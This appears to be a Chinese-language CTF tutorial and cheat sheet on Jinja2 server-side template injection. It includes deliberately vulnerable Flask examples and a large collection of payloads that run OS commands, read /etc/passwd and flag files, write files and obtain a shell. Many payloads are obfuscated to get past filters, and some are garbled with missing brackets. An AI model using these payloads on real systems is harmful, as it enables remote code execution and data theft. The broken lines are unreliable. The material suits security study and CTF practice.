SSTI(模板注入)
SSTI:
- SSTI(Server-Side Template Injection)即服务端模板注入,它是一种安全漏洞攻击技术。
- 当应用程序在服务器端使用模板引擎来呈现动态生成的内容时,如果用户可以控制模板引擎的输入,就可能导致 SSTI 漏洞。
- 服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
常见的模版
- PHP:Twig、Smarty 、Blade
- Python:Jinja2、Tornado、Django、MaKo
- Java:FreeMarker、Velocity
不同模板的变量包裹符
常用魔术方法
__class__
print(''__class__)
输出''的类: <class 'str'>
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)
print(''.__class__.__bases__)
print(''.__class__.__bases__[0])
输出: <class 'object'>
输出''的类和其父类,返回值为元组,可以使用[]调用其子类
__mro__
可以用来获取一个类(多层父子关系)的调用顺序(即这个类的父类、父类的父类、、、)
print(''.__class__.__mro__)
输出: (<class 'str'>, <class 'object'>)
输出''类即父类,可以使用[]调用
__subclass__
用于获取某个类的所有子类(一层父子关系),并用元组输出
__init__
查看是否重载(重载指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载)
__globals__
该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用
__builtins__
提供对python中所有内置标识符的直接访问
案例说明(python模板jinja2)
render_template_string和render_template函数是jinja2中常用的渲染函数。
render_template用于渲染模板文件,而render_template_string用于直接渲染模板字符串。
案例一
from flask import Flask # Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换成 {{…}} 块
from flask import request
from flask import config
from flask import render_template_string #导入flask中的渲染函数
app = Flask(__name__) #实例化
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/') #使用装饰器定义路由规则,当访问目录/时将调用函数hello_world()
def hello_world():
return 'Hello World!'
@app.errorhandler(404) #404路由
def page_not_found(e):
template = ''' #定义一个多行字符串,常用的多行注释并不是标准用法
{%% block body %%}
<div class="center-content error"> # 这里是报错页面所显示的内容
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #参数request.args.get('404_url')位置
</div>
{%% endblock %%}
''' % (request.args.get('404_url')) #注意这里存在漏洞点
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
案例二
from flask import Flask
from flask import render_template_string,render_template #导入render_template_string和render_template函数。
app = Flask(__name__)
@app.route('/hello/') #定义了一个路由规则,当用户访问/hello/这个URL时,会调用下面定义的hello视图函数。
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>') 定义了另一个路由规则,其中<name>是一个动态部分,可以匹配任何字符串。当用户访问如/hello/123这样的URL时,会调用下面定义的hellodear视图函数。
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
[SSTI自动化工具]Fenjing
Fenjing专为CTF设计的Jinja2 SSTI全自动绕WAF脚本——项目地址:fenjing
ctf中常用的Payload(参考)
参考文章:SSTI漏洞详解
- 无过滤
点击查看代码
\#简单查找具体python类的索引:
import os
print(''.__class__.__bases__[0].__subclasses__().index(os._wrap_close))
\#读取config
如果flag写入config内,那么可以直接{{config}}查看或者{{self.dict._TemplateReference__context.config}}
\#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
\#直接使用popen命令,python2是非法的,只限于python3
**os._wrap_close** 类里有popen和builtins,一般位置为132~139附近
<class ‘site._Printer’> 调用os的popen执行命令
<class ‘warnings.catch_warnings’>一般位置为59,可以用它来调用file、os、eval、commands等
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
\#调用os的popen执行命令
\#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
\#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
\#调用eval函数读取
\#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
\#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
\#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
\#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
\#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
\#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
\#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
- 过滤[]
使用魔术方法__getitem__绕过
{{().__class__.__bases__[0]}}等价于{{().__class__.__bases__.__getitem__(0)}}
- 过滤{
使用{%%}替换{}即可
- 过滤符号 .
1、使用[]绕过
{{().__class__}}
可替换为:
{{()["__class__"]}}
举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
2、使用attr()绕过
attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。
{{().__class__}}
可替换为:
{{()|attr("__class__")}}
举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
- request方法绕过:
如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.key且以GET方式提交key=class__来替换被过滤的__class
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
- 绕过单双引号
1.request绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__request.args.arg1.read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.cookies.arg1.read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.values.arg1.read()}}
post:arg1=open&arg2=/etc/passwd
2.chr绕过
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。
- 绕过关键字
1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
2.利用"+"进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']'ev'+'al'}}
3.join拼接
利用join()函数绕过关键字过滤
{{[].__class__.__base__.__subclasses__()40.read()}}
4.利用引号绕过
{{[].__class__.__base__.__subclasses__()40.read()}}
5.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__'popen'.read()}}
6.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
7.16进制编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f'.popen('whoami').read()}}
同理,也可使用八进制编码绕过
- base64编码绕过
对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]'ZXZhbA=='.decode('base64')}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
- unicode编码绕过
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()
- Hex编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
- 绕过init
可以用__enter__或__exit__替代__init__
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']'open'.read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']'open'.read()}}